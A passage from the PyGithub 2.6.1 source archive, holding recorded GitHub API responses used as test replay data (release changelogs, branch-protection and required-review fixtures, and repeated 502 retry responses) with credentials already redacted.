(b1e9ae68)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/11643642/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/11643642/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40","id":11643642,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTExNjQzNjQy","tag_name":"v1.40","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-06-26T01:05:38Z","published_at":"2018-06-26T01:08:43Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40","body":"* Major enhancement: use requests for HTTP instead of httplib (#664) (9aed19dd)\r\n* Increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Test Framework improvement (#795) (faa8f205)\r\n* Handle HTTP 202 HEAD & GET with a retry (#791) (3aead158)\r\n* Fix github API requests after asset upload (#771) (8bdac23c)\r\n* Add remove_membership() method to Teams class (#807) (817f2230)\r\n* Add check-in to projects using PyGithub (#814) (05f49a59)\r\n* Include target_commitish in GitRelease (#788) (ba5bf2d7)\r\n* Fix asset upload timeout, increase default timeout from 10s to 15s (#793) (140c6480)\r\n* Fix Team.description (#797) (0e8ae376)\t\r\n* Fix Content-Length invalid headers exception (#787) (23395f5f)\t\r\n* Remove NamedUser.contributions (#774) (a519e467)\t\r\n"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10728698/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10728698/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a3","id":10728698,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNzI4Njk4","tag_name":"v1.40a3","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-26T06:52:47Z","published_at":"2018-04-26T06:55:12Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a3","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a3","body":"* Add ability to skip SSL cert verification for Github Enterprise (#758) (85a9124b)\r\n* Correct Repository.get_git_tree recursive use (#767) (bd0cf309)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10667677/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10667677/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a2","id":10667677,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNjY3Njc3","tag_name":"v1.40a2","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-23T06:31:58Z","published_at":"2018-04-23T06:32:39Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a2","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a2","body":"* Re-work PullRequest reviewer request (#765) (e2e29918)\r\n* Add support for team privacy (#763) (1f23c06a)\r\n* Add support for organization outside collaborators (#533) (c4446996)\r\n* Make use of issue_url in PullRequest (#755) (0dba048f)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10576396/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10576396/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.40a1","id":10576396,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNTc2Mzk2","tag_name":"v1.40a1","target_commitish":"master","name":"","draft":false,"prerelease":true,"created_at":"2018-04-17T04:15:02Z","published_at":"2018-04-17T04:16:38Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.40a1","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.40a1","body":"* Use requests instead of httplib (#664) (9aed19dd)\r\n* PullRequest labels should use Issues URL (#754) (678b6b20)\r\n* Support labels for PullRequests (#752) (a308dc92)\r\n* Add get_organizations() (#748) (1e0150b5)"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784","assets_url":"https://api.github.com/repos/PyGithub/PyGithub/releases/10471784/assets","upload_url":"https://uploads.github.com/repos/PyGithub/PyGithub/releases/10471784/assets{?name,label}","html_url":"https://github.com/PyGithub/PyGithub/releases/tag/v1.39","id":10471784,"author":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"node_id":"MDc6UmVsZWFzZTEwNDcxNzg0","tag_name":"v1.39","target_commitish":"master","name":"","draft":false,"prerelease":false,"created_at":"2018-04-10T02:21:49Z","published_at":"2018-04-10T09:30:42Z","assets":[],"tarball_url":"https://api.github.com/repos/PyGithub/PyGithub/tarball/v1.39","zipball_url":"https://api.github.com/repos/PyGithub/PyGithub/zipball/v1.39","body":"* Add documentation to github.Repository.Repository.create_git_release() (#747) (a769c2ff)\r\n* Add add_to_members() and remove_from_membership() (#741) (4da483d1)\r\n* Documentation: clarify semantics of get_comments (#743) (fec3c943)\r\n* Add download_url to ContentFile, closes #575 (ca6fbc45)\r\n* Add PullRequestComment.in_reply_to_id (#718) (eaa6a508)\r\n* Add team privacy parameter to create team (#702) (5cb5ab71)\r\n* Implement License API (#734) (b54ccc78)\r\n* Fix delete method for RepositoryKey (911bf615)\r\n* Remove edit for UserKey (722f2534)\r\n* Labels API: support description (#738) (42e75938)\r\n* Added Issue.as_pull_request() and PullReqest.as_issue() (#630) (6bf2acc7)\r\n* Documentation: sort the Github Objects (#735) (1497e826)\r\n* Add support for getting PR single review's comments. (#670) (612c3500)\r\n* Update the RepositoryKey class (#530) (5e8c6832)\r\n* Added since to PR review comments get (#577) (d8508285)\r\n* Remove some duplicate attributes introduced in #522 (566b28d3)\r\n* Added tarball_url, zipball_url, prerelease and draft property (#522) (c76e67b7)\r\n* Source Import API (#673) (864c663a)"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RequiredPullRequestReviews.setUp.txt0000644000175100001660000001254014756101563025353 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"27524c635501121933f4f78c95b1945a"'), ('date', 'Fri, 18 May 2012 20:12:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c5eec74d4b76b80283636a8efe1a132c"'), ('date', 'Fri, 18 May 2012 20:12:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-18T05:29:54Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T05:18:16Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"integrations","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"strict":true,"contexts":["foo/bar"]}},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection"} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} None 200 [('status', '200 OK'), ('x-runtime-rack', '0.049518'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'C9A0:2DCE:4A1B5C:60E4A6:5AF302A0'), ('date', 'Wed, 09 May 2018 14:16:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1525878932')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":true,"require_code_owner_reviews":true,"required_approving_review_count":3} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RequiredPullRequestReviews.testOrganizationOwnedTeam.txt0000644000175100001660000001002414756101563031416 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/branches/integrations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"integrations","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"strict":true,"contexts":["foo/bar"]}},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/integrations/protection"} https GET api.github.com None /repos/PyGithub/PyGithub/branches/integrations/protection/required_pull_request_reviews {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.luke-cage-preview+json'} None 200 [('status', '200 OK'), ('x-runtime-rack', '0.049518'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'C9A0:2DCE:4A1B5C:60E4A6:5AF302A0'), ('date', 'Wed, 09 May 2018 14:16:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1525878932')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/integrations/protection/required_pull_request_reviews","dismiss_stale_reviews":true,"require_code_owner_reviews":true,"dismissal_restrictions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/branches/integrations/protection/dismissal_restrictions","users_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/integrations/protection/dismissal_restrictions/users","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/integrations/protection/dismissal_restrictions/teams","users":[{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24}],"teams":[{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}]}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RequiredStatusChecks.setUp.txt0000644000175100001660000001253214756101563024126 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"27524c635501121933f4f78c95b1945a"'), ('date', 'Fri, 18 May 2012 20:12:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4966'), ('content-length', '1097'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c5eec74d4b76b80283636a8efe1a132c"'), ('date', 'Fri, 18 May 2012 20:12:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"svn_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-18T05:29:54Z","forks":2,"homepage":"http://vincent-jacques.net/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","open_issues":17,"fork":false,"ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-18T05:18:16Z","size":304,"private":false,"has_downloads":true,"watchers":13,"html_url":"https://github.com/jacquev6/PyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","permissions":{"pull":true,"admin":true,"push":true},"mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","created_at":"2012-02-25T12:53:47Z","id":3544490} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"integrations","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"strict":true,"contexts":["foo/bar"]}},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection"} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-runtime-rack', '0.049518'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', 'C9A0:2DCE:4A1B5C:60E4A6:5AF302A0'), ('date', 'Wed, 09 May 2018 14:16:17 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1525878932')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks","strict":true,"contexts":["foo/bar"],"contexts_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_status_checks/contexts"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Retry.testRaisesRetryErrorAfterMaxRetries.txt0000644000175100001660000001272714756101563027210 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F9D6:235E:3C00DD:772BC6:5BD2AE02')] {"error": "Server Error"} https GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 502 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:42 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '502 Bad Gateway'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"3ffd69d4f4e7383eae948812b1eb72e5"'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; param=star; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), 